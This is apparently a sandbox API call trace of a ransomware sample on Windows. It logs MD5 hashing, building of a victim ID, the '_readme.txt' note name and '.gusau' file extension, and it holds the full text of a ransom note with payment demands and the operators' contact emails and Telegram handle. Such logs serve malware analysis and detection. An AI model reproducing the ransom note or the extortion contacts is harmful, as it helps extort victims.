0x396ec68 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396eed0 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396f138 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396f3a0 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396f608 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396f870 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396fad8 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396fd40 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x396ffa8 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38caf90 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x394a150 [0115.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O", cchWideChar=-1, lpMultiByteStr=0x394a150, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O", lpUsedDefaultChar=0x0) returned 41 [0115.181] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x394a580 [0115.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a150 | out: hHeap=0xd10000) returned 1 [0115.181] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38caf90 | out: hHeap=0xd10000) returned 1 [0115.181] CryptAcquireContextW (in: phProv=0x18e8f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e8f4*=0xdefb68) returned 1 [0115.182] CryptCreateHash (in: hProv=0xdefb68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e8f8 | out: phHash=0x18e8f8) returned 1 [0115.182] lstrlenA (lpString="krIQXwoAKOrr4jbvZpcdQn5Z5BUizQ1juFcQ1u8O") returned 40 [0115.182] CryptHashData (hHash=0x3983660, pbData=0x394a580, dwDataLen=0x28, dwFlags=0x0) returned 1 [0115.182] CryptGetHashParam (in: hHash=0x3983660, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e8fc, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e8fc) returned 1 [0115.182] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0xdc6410 [0115.183] CryptGetHashParam (in: hHash=0x3983660, dwParam=0x2, pbData=0xdc6410, pdwDataLen=0x18e8fc, dwFlags=0x0 | out: pbData=0xdc6410, pdwDataLen=0x18e8fc) returned 1 [0115.183] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x34) returned 0x39835e0 [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] lstrcatA (in: lpString1="", lpString2="E0" | out: lpString1="E0") returned="E0" [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] lstrcatA (in: lpString1="E0", lpString2="AD" | out: lpString1="E0AD") returned="E0AD" [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] lstrcatA (in: lpString1="E0AD", lpString2="67" | out: lpString1="E0AD67") returned="E0AD67" [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] lstrcatA (in: lpString1="E0AD67", lpString2="45" | out: lpString1="E0AD6745") returned="E0AD6745" [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.183] lstrcatA (in: lpString1="E0AD6745", lpString2="B3" | out: lpString1="E0AD6745B3") returned="E0AD6745B3" [0115.183] GetLastError () returned 0x0 [0115.183] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B3", lpString2="89" | out: lpString1="E0AD6745B389") returned="E0AD6745B389" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B389", lpString2="4E" | out: lpString1="E0AD6745B3894E") returned="E0AD6745B3894E" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B3894E", lpString2="89" | out: lpString1="E0AD6745B3894E89") returned="E0AD6745B3894E89" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B3894E89", lpString2="D6" | out: lpString1="E0AD6745B3894E89D6") returned="E0AD6745B3894E89D6" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B3894E89D6", lpString2="B1" | out: lpString1="E0AD6745B3894E89D6B1") returned="E0AD6745B3894E89D6B1" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1", lpString2="32" | out: lpString1="E0AD6745B3894E89D6B132") returned="E0AD6745B3894E89D6B132" [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.184] GetLastError () returned 0x0 [0115.184] SetLastError (dwErrCode=0x0) [0115.185] lstrcatA (in: lpString1="E0AD6745B3894E89D6B132", lpString2="5E" | out: lpString1="E0AD6745B3894E89D6B1325E") returned="E0AD6745B3894E89D6B1325E" [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E", lpString2="4D" | out: lpString1="E0AD6745B3894E89D6B1325E4D") returned="E0AD6745B3894E89D6B1325E4D" [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4D", lpString2="CF" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF") returned="E0AD6745B3894E89D6B1325E4DCF" [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4DCF", lpString2="4B" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF4B") returned="E0AD6745B3894E89D6B1325E4DCF4B" [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] GetLastError () returned 0x0 [0115.185] SetLastError (dwErrCode=0x0) [0115.185] lstrcatA (in: lpString1="E0AD6745B3894E89D6B1325E4DCF4B", lpString2="83" | out: lpString1="E0AD6745B3894E89D6B1325E4DCF4B83") returned="E0AD6745B3894E89D6B1325E4DCF4B83" [0115.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc6410 | out: hHeap=0xd10000) returned 1 [0115.185] CryptDestroyHash (hHash=0x3983660) returned 1 [0115.185] CryptReleaseContext (hProv=0xdefb68, dwFlags=0x0) returned 1 [0115.185] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a580 | out: hHeap=0xd10000) returned 1 [0115.185] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38caf90 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x39856a8 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3970210 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3970478 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39706e0 [0115.185] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3970948 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3970bb0 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3970e18 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3971080 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39712e8 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3971550 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39717b8 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x816) returned 0x394a150 [0115.186] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x394a150, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x3964020 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a150 | out: hHeap=0xd10000) returned 1 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x3985858 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3971a20 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3971c88 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397e060 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397e2c8 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397e530 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397e798 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397ea00 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397ec68 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397eed0 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397f138 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x130) returned 0x3943d68 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1d0) returned 0x3948e10 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3943d68 | out: hHeap=0xd10000) returned 1 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2b7) returned 0x3964848 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3948e10 | out: hHeap=0xd10000) returned 1 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x412) returned 0x3964b08 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964848 | out: hHeap=0xd10000) returned 1 [0115.186] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x61a) returned 0x394a150 [0115.186] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964b08 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x470) returned 0x394a778 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10da) returned 0x39541c8 [0115.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x394a778, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=2157 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned 1134 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x10e0) returned 0x39552b0 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a778 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x3985888 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397f3a0 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397f608 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397f870 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397fad8 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397fd40 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397ffa8 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3980210 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3980478 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39806e0 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3980948 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80c) returned 0x39541c8 [0115.187] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e900, cbMultiByte=-1, lpWideCharStr=0x39541c8, cchWideChar=1030 | out: lpWideCharStr=".gusau") returned 7 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39549e0 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39541c8 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdd2350 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdc63b0 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e728 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc63b0 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb060 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x48) returned 0x395f0c8 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398e728 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960888 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb0c8 [0115.187] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395f0c8 | out: hHeap=0xd10000) returned 1 [0115.187] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f170 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39407d8 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb0c8 | out: hHeap=0xd10000) returned 1 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f1c8 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960918 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd8) returned 0x38d04c0 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39407d8 | out: hHeap=0xd10000) returned 1 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdd2288 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f220 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb0c8 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x138) returned 0x3943d68 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d04c0 | out: hHeap=0xd10000) returned 1 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960960 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f278 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f2d0 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x39609a8 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c8) returned 0x396be78 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3943d68 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdd2350 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb060 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960888 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f170 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f1c8 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960918 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdd2288 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f220 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb0c8 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960960 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f278 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f2d0 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39609a8 | out: hHeap=0xd10000) returned 1 [0115.188] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x396be78 | out: hHeap=0xd10000) returned 1 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x28) returned 0x3985a38 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3980bb0 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3980e18 [0115.188] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3981080 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39812e8 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3981550 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x39817b8 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3981a20 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x3981c88 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397b060 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25c) returned 0x397b2c8 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xa0) returned 0x3974060 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x130) returned 0x3943d68 [0115.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3974060 | out: hHeap=0xd10000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1d0) returned 0x3948e10 [0115.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3943d68 | out: hHeap=0xd10000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2b7) returned 0x394a778 [0115.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3948e10 | out: hHeap=0xd10000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x412) returned 0x3964848 [0115.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x394a778 | out: hHeap=0xd10000) returned 1 [0115.189] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x61a) returned 0x394a778 [0115.189] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3964848 | out: hHeap=0xd10000) returned 1 [0115.189] GetUserNameW (in: lpBuffer=0x18ec08, pcbBuffer=0x18e974 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e974) returned 1 [0115.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x590) returned 0x3964848 [0115.190] GetLastError () returned 0x0 [0115.190] SetLastError (dwErrCode=0x0) [0115.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18) returned 0xdc63b0 [0115.190] GetLastError () returned 0x0 [0115.190] SetLastError (dwErrCode=0x0) [0115.190] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e728 [0115.190] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdc63b0 | out: hHeap=0xd10000) returned 1 [0115.190] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x48) returned 0x395f0c8 [0115.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398e728 | out: hHeap=0xd10000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb0c8 [0115.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x395f0c8 | out: hHeap=0xd10000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x90) returned 0x39407d8 [0115.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb0c8 | out: hHeap=0xd10000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xd8) returned 0x38d04c0 [0115.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39407d8 | out: hHeap=0xd10000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x138) returned 0x3943d68 [0115.191] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38d04c0 | out: hHeap=0xd10000) returned 1 [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.191] SetLastError (dwErrCode=0x0) [0115.191] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdd2288 [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x1c8) returned 0x396be78 [0115.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3943d68 | out: hHeap=0xd10000) returned 1 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0xdd2350 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946e60 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946e88 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946eb0 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x2a0) returned 0x3948e10 [0115.192] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x396be78 | out: hHeap=0xd10000) returned 1 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3946ed8 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398e728 [0115.192] GetLastError () returned 0x0 [0115.192] SetLastError (dwErrCode=0x0) [0115.192] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 